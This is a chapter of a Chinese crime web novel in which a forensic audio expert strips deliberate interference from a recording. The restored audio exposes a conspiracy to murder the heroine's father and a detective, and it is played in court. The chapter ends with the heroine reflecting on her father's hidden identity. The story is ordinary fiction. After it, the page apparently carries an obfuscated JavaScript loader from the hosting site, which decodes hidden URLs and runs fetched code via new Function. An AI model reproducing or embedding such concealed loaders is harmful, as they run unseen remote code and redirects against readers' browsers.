第380章 修复技术提取密谋片段
最高法院技术鉴定室内,空气像凝固的胶体。空调的出风口嗡嗡响着,没有人去调。年近六十的首席声学专家老谭,戴着老花镜,额头抵在显微镜般的音频分析仪上,已经连续工作了十八个小时。他的左手边搁着三只空了的浓茶杯,每一只的杯底都积着褐色的茶垢,右手边摊着一叠草稿纸,上面密密麻麻写满了只有他自己能看懂的频率计算公式。助手端着第四杯浓茶推门进来,脚步很轻,杯底搁在桌面上的声音还是让老谭的肩膀抖了一下。
“谭老师,第九十七次降噪滤波……还是失败。”助手的声音有些发颤,把茶杯推到他手边,“背景里的电视广告声和楼下犬吠,完全盖过了低频人声。我们试了自适应滤波、小波变换、甚至最新的深度学习降噪模型,都没有用。那段人声像是被专门设计的噪声给吞掉了。”
老谭没有接茶。他盯着波形图上一处微不可察的毛刺——那是录音时间轴七点四十六分附近的一段极低频信号,肉眼几乎无法从基线上分辨出来,但在他的眼睛里,那个毛刺像是白纸上的一个墨点。他突然抓起铅笔在草纸上急速演算,铅笔尖在纸面上刮出沙沙的声响,和空调出风口的嗡嗡声混在一起。
“不是滤波问题。”他写下一串数字,圈出来,又写了一串,再圈出来,“是他们在录音器上做了手脚。这不是环境噪声,是人为叠加的低频干扰白噪声,专门用来掩盖关键对话的。频率范围卡在人类语音的低频共振区——懂行的人干的。但任何干扰都有规律,任何规律都有破绽。”他的手指猛地停在某个频率值上,铅笔尖因为用力过大崩断了一小截,石墨碎屑弹在草稿纸上,“找到了。干扰源是五十赫兹工频电的谐波,不是普通的电器噪声——谐波的分布不是随机的,它和录音器内部的电路时钟同步。他们用变压器做掩护,把干扰信号耦合进了录音器的供电线路。这不是在录音器外面放噪声,是从录音器里面做的手脚。”
他推开椅子站起来,抓起桌上的座机话筒,拨了电力公司的号码。电话接通之后他报了日期和时间段,要求调取黑岩监狱附近的变电站电力负荷记录。对方在电话那头说需要审批手续,老谭把话筒换到另一只手上,说你现在就查,手续我让院里补给你。他等了好一会儿,对方把数据报过来——当晚七点四十五分到五十分之间,变电站监测到一个短时的负荷异常波动,波形特征和录音器干扰源的谐波分布完全吻合。
老谭挂断电话,把电力负荷曲线和音频波形图并排铺在桌面上,用手指在两条曲线之间画了一道连线。“就是这几分钟。他们打开干扰器的时候,变电站的变压器因为瞬间负载变化产生了特征谐波。他们以为自己很聪明,但他们不知道——变压器不会撒谎。”他坐下来,把降噪软件的参数全部推翻,重新编写了一套反向谐波剥离算法。助手站在旁边看着屏幕上那些他看不懂的代码一行一行跳出来,老谭的手指在键盘上不快,但很稳,像是一个在手术台上剥离肿瘤的外科医生。
屏幕上,两段几乎被噪声完全吞噬的波形开始一寸一寸地露出轮廓。那个过程极慢,每一秒的进度条都要爬好几下才往前挪一小格。助手说谭老师你先喝口茶,老谭没有回答,只是盯着屏幕上那团逐渐从噪声里浮出来的波形,像是在盯着一具从泥浆里被慢慢拉出来的尸体。
凌晨,第一段波形先完整了。老谭把修复后的音频导入播放器,手指悬在播放键上,停了一下。助手看见他的食指微微抖了一下——不是累,是一个老鉴定员在按下播放键之前,本能地对即将听到的东西产生了一种职业性的警觉。他按下去了。音响里先是一小段已经被剥离干净的低频噪声残余,像远处有人在用指甲刮一面墙,然后吴国栋的声音从那个噪声的缝隙里挤了出来。他的声音压得很低,但每个字都像是从牙齿缝里碾过去的。
“……康厅交代,‘老板’很满意。矿权月底就批。但苏凌云她爸那边,上次王护士长办的那件事,康厅说还不够干净。人虽然没了,但他在法庭上倒下去之前说的那句话,传出去了。‘女儿冤’——这三个字在旁听席上传开了。老板的意思,后续的舆论处理要跟上。不能让人再翻这个案子。”
陈景浩的声音接上来:“她爸已经死了。死人的嘴总该闭上了。”
吴国栋冷笑了一声。那声冷笑很短,从鼻腔里往外喷了一下,但老谭的修复算法把那个频率抓得很干净。“死人的嘴闭上有什么用?活人的嘴还没闭上。他女儿还在。老雷还在查。你那个前妻在监狱里还不安分。康厅说了,斩草要除根。你自己看着办。”
沉默。陈景浩沉默了大约两次呼吸的时间。然后他说了两个字:“明白。”
第二段波形的修复难度更大。干扰信号在七点四十九分前后出现了一次跳变——对方可能临时调高了干扰功率,把对话的前半截压得更深。老谭把同一段音频反复跑了多次剥离算法,每次剥离之后手动比对残余波形的频谱特征,在草稿纸上逐段标注人声频率的恢复程度。助手说谭老师你的手在抖,老谭说那是你的错觉,然后继续敲键盘。凌晨,第二段波形终于完整到可以辨认的程度。吴国栋的声音再次出现时已经是在门口,他的声音更轻了,但修复后的音频把每一个字都从噪声底下捞了上来。
“对了,老雷好像有点怀疑。他最近在翻周启明案子的旧卷宗,还去了一趟矿难家属那边。你最近别联系他。我来处理。”
陈景浩的声音带着一丝犹豫,那种犹豫不是良心发现,是在计算利弊。“雷警官?他跟我爸熟……”
“熟才麻烦。这人骨头硬,喂不熟。必要时——让他‘因公殉职’。矿上事故多,不缺他一个。”
录音结束。鉴定室里只剩下空调出风口的嗡嗡声。助手把手里的茶杯放在桌上,杯底磕在玻璃台面上发出一声极轻的脆响,他的手指在发抖。“谭老师……他们……早就计划害苏凌云父亲和雷警官了……王护士长投毒那件事,不是陈景浩一个人干的——是康伟国和老板在背后指使的。吴国栋说‘康厅交代,老板很满意’,就是在说那件事。”老谭把老花镜摘下来,用袖口擦了一下镜片。他的手很稳,擦镜片的动作很慢,像是在擦一件需要特别小心对待的证物。他把眼镜重新戴好,说把修复报告整理出来,今天之内送到合议庭。
这份名为“幽灵对话”的修复音频和厚厚一叠技术报告在当天上午被火速送往合议庭。而在法庭之外,何秀莲和林小火正从城郊的废弃粮油仓库往法院赶。她们在仓库里待了好几个昼夜——证人出庭前需要的伪装衣物何秀莲早就缝完交付了,每一件的针脚都密得拉都拉不开。现在她们在做的是另一件事:秦月。
周启明的初恋女友秦月,那个被吴国栋供出来之后老葛的人一直在海外寻找的关键证人,终于联系上了。她住在温哥华,本名EmilyQin,手里持有周启明托付的“账本2.0”母片保险箱钥匙。白晓在法庭上脱不开身,何秀莲和林小火就顶了上去——何秀莲用白晓留下的加密通讯设备和秦月保持联络,林小火负责在仓库外围警戒,确保这条跨越太平洋的联络线不被任何一方截断。秦月同意远程视频作证,母片的索引文件已经全部接收完毕,正在由白晓的云端脚本逐层解密。
林小火开着老葛那辆破捷达,在法院后门的巷子里熄了火。她把撬棍收进座位底下,从副驾上拿起一个牛皮纸文件袋——里面是秦月传真过来的最后一批索引文件的打印件,何秀莲已经按时间顺序一张一张排好了。何秀莲坐在副驾上,把文件袋抱在怀里,手指在纸袋边缘轻轻摩挲着。她不能说话,但她用指尖在纸袋上敲了两下——意思是“快了”。林小火点了点头,推开车门。
审判长连夜召集声学、刑侦、电子物证方面的专家进行联席听证。老谭在听证会上用了很长时间逐项解释反向谐波剥离的技术原理、干扰源和变电站负荷记录的对应关系、以及修复后音频的完整性校验结果。专家们交叉质询了好一阵,最终一致结论:修复技术科学可靠,音频未经过剪辑篡改,内容与已证实事实高度吻合,可作为证据使用。
最关键的是,“幽灵对话”首次直接证实了杀害苏凌云父亲的幕后真凶。王素娟在南山墓园已经坦白了她投毒的细节——胰岛素怎么注射、怎么伪造车祸现场——但她的供述只把链条连到了陈景浩身上。而“幽灵对话”里,吴国栋的每一句话都在往上追溯:王护士长办的事,康厅说还不够干净。康厅交代,老板很满意。命令链从执行层的王素娟、陈景浩,到中间层的吴国栋,再到决策层的康伟国,最后指向那个藏在所有名字上面的“老板”——这五个字是整条证据链上缺失已久的那一环。
同时,“幽灵对话”首次证实了老雷当年险些被灭口——吴国栋那句“让他因公殉职”解释了他为什么查周启明案查到一半就被调离重案组,为什么他每次快要接近真相的时候就会有人从上面给他按回去。
公诉人在庭审恢复后当庭申请追加康伟国、“老板”的故意杀人罪指控——针对苏凌云父亲苏秉哲和刑警雷志刚。审判长准许。
公诉人站在法庭中央,将老谭修复的音频文件导入播放系统。他先向合议庭简要说明了修复过程和技术验证结论,然后按下了播放键。吴国栋的声音从法庭音响里传出来的那一刻,旁听席上有人下意识地往后靠了一下——不是声音大,是那种语气太平静了,平静到让人毛骨悚然。他说“死人的嘴闭上有什么用,活人的嘴还没闭上”时用的是陈述句,不是在威胁,是在催促——像是在催一份已经过了截止日期还没交上来的报表。
老雷坐在旁听席第三排。他的妻子坐在他旁边,一只手攥着他的袖子。他的右手放在膝盖上,五根手指慢慢收紧,指关节一节一节地顶起来。他没有低头,没有闭眼,只是盯着音响的方向,像是在盯着一道他追了很多年、终于在今天被钉死在证据墙上的通缉令。他的眼眶红了,泪水在眼白上铺开,但他没有擦。他妻子把脸埋进他的肩膀上,肩膀在剧烈抖动,他在她的后背上轻轻拍了两下,然后把手放回膝盖上,继续听。
苏凌云闭着眼睛。她的睫毛在发抖,泪水从眼缝里渗出来,顺着颧骨上那道结了暗红色血痂的旧伤疤往下淌。
王素娟在墓园里跪在她面前坦白投毒的时候,她以为那就是真相的全部了——一个母亲为了替丈夫报仇,用医学知识杀了人。她恨过王素娟,恨过陈景浩,但她从来没有想过,在王素娟和陈景浩的背后,还站着康伟国和“老板”。王素娟手里的胰岛素不是她自己弄来的,是康伟国授意的。陈景浩安排那场家宴不是他自己想出来的,是吴国栋传达的“康厅交代”。她父亲在法庭上倒下去的那一刻,她以为他是心脏受不了——两年来的冤屈、愤怒、无力,把一颗已经衰老的心脏压垮了。她从来没有想过,那杯端到他面前的水里,被人放了东西。她从来没有想过,他的死不是意外,不是病发,是被设计好的。
谋杀。她父亲的死是谋杀。和王素娟有关,和陈景浩有关,和吴国栋有关,和康伟国有关,和那个藏在所有人后面的“老板”有关。而她用了这么久——从父亲倒下去的那一刻起,从她在法庭上戴着孝箍站在被告席上起,从她在黑岩的每一个夜里对着天花板裂缝反复回想父亲最后那句“女儿冤”起——她才知道,那不是一句控诉。那是一个父亲在死前用尽最后一点力气,告诉女儿:你不是意外,我也不是意外。我们是被害的。
然后她忽然想到了刚才在录音里反复出现的那三个字——苏秉哲。吴国栋提到的“苏凌云她爸”,康伟国授意“处理”的那个老工人,陈景浩口中“脾气倔”的机械厂师傅——是那个在法庭上倒下去的老人。而她在黑岩医务室里翻到的那份一九八六年的死亡病历,上面那个死于矽肺的年轻地质勘探队员,也叫苏秉哲。
两份档案,同一个名字。一个死在矿井深处,连骨灰都没有留下。一个死在法庭上,用最后一口呼吸替女儿喊了三个字。
她在黑岩医务室里翻到那份病历的时候,她以为那就是她父亲。死亡日期对不上,年龄对不上,她在那天夜里躺在监室床板上盯着天花板裂缝想了很久,想不通为什么父亲明明是在法庭替她申冤时猝死,却有一份死亡档案说他在她出生之前就死了。她想不通,但她没有别的答案。她只能告诉自己——也许这份病历是假的,也许父亲当年确实在黑岩待过、后来被释放了,也许死亡诊断是伪造的、为了掩盖一些她不知道的事。她没有想过病历是真的。她没有想过那个死在矿井深处的苏秉哲,和她叫了快三十年爸爸的那个苏秉哲,是两个人。她从来没有想过。
但此刻,她坐在法庭上,听着录音里吴国栋反复提到“苏秉哲”这个名字,听着康伟国和“老板”把“处理苏秉哲”当成一个需要反复确认进度的工作任务来讨论——她忽然意识到,她父亲从来不提自己年轻时的事。她小时候问他,他说在北方干过活,条件苦。她说有多苦,他就不说了。她以为是苦到说不出口。现在她想,也许不是苦到说不出口——是不能说。他不是苏秉哲。真正的苏秉哲死在矿井里,他用了苏秉哲的名字,就不能再提自己以前的名字。但他为什么懂地质?那些等高线图、岩层剖面、矿区水文资料——不是一个普通工人该懂的东西。她忽然想起他每晚坐在阳台上看那些厚书的样子。那些书有几本扉页上盖着“黑岩煤矿技术科”的旧章。他看得很慢,一页一页地翻,有时候在图纸上用手指划来划去。他说他在“随便看看”。现在她知道了,他不是在看书。他是在守护另一个人留在他脑子里的东西。那些图纸、那些数据、那些关于矿区的警告——都是那个死在矿井深处的年轻地质勘探队员交给他的。他出狱的时候什么也没带出来,只带出来一个名字和一个承诺。名字他用了大半辈子。承诺他守到了死。
他倒下去之前喊的那三个字——女儿冤——不是替自己喊的。是替那个死在矿井深处、连骨灰都没有留下的真正的苏秉哲喊的。那个真正的苏秉哲死在1986年。她出生在1994年。她从来没有见过他。而他——那个抚养她长大的男人——他不仅记住了苏秉哲留下的图纸和数据,他还把苏秉哲的女儿当成自己的女儿养大。他做得很好。没有人怀疑过他。包括她。
但她忽然想起了一件很小的事。她小时候有一次翻家里的旧箱子,翻到过一个很小的拨浪鼓,红色的漆皮已经磨掉了大半,鼓面上画的是一只歪歪扭扭的兔子。她拿着拨浪鼓去问母亲,这是谁给我买的。母亲看了一眼,没有说话,把拨浪鼓收走了。她后来再也没有见过那只拨浪鼓。现在她想,那只拨浪鼓不是她的。那是另一个孩子的。那个孩子比她大,在她出生之前就死了。她的姐姐。真正的苏秉哲留下了一个女儿——她的姐姐。她从来没有见过她的姐姐。没有人跟她提过她的姐姐。她不知道姐姐叫什么名字,长什么样,死在什么时候。她只知道,那个死在矿井深处的苏秉哲——她姐姐的亲生父亲——死在1986年,死的时候他的女儿还很小。他没有看到她长大。他死之后,他的女儿也没有活太久。如果那个孩子活到了她出生,她就应该还有一个姐姐。她没有。那么那个孩子,大概在很小的时候就夭折了。这很正常——父亲死了,家里没了顶梁柱,母亲一个人带着幼女,那个年代,一个孩子夭折是太容易的事。她的姐姐从未来得及长大。她的名字从来没有被写进任何档案里。而那个抚养她长大的男人,他不仅记住了苏秉哲留下的图纸和数据,他还记住了那个孩子——那个和他没有血缘关系、但他答应过要照顾的孩子。他没有保住她。他把拨浪鼓藏进旧箱子深处,再也没有提过那个孩子的名字。然后他把苏凌云养大了。
一秒记住【882小说网】
882xsw.com,更新快,无弹窗!
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();